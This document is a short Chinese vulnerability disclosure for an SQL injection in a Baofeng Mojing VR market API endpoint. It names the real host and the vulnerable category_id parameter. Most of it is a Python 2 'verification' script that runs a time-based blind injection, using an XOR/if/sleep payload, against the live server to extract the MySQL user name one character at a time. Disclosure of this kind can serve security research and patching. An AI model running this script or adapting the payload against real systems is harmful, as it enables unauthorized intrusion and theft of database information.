暴风魔镜某接口SQL注入(附验证脚本)

http://mj.cms.mojing.cn/api/v1/vr_market/source_list.php?source_type=2&category_id={catid}&version=20151016

#encoding=utf-8
 
 import httplib
 
 import time
 
 import string
 
 import sys
 
 import random
 
 import urllib
 
 
 
 headers = {}
 
 payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
 
 
 
 print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
 
 user = ''
 
 for i in range(1, 24):
 
     for payload in payloads:
 
         try:
 
             s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
 
             s = "aaa'XOR(if(%s,sleep(5),0))OR'bbb" % s
 
             conn = httplib.HTTPConnection('mj.cms.mojing.cn', timeout=3)
 
             conn.request(method='GET',url="/api/v1/vr_market/source_list.php?source_type=2&category_id=%s" % urllib.quote(s))
 
             conn.getresponse()
 
             conn.close()
 
             print '.',
 
         except:
 
             user += payload
 
             print '/n[in progress]', user,
 
             time.sleep(5.0)
 
             break
 
 
 
 print '/n[Done] MySQL user is %s' % user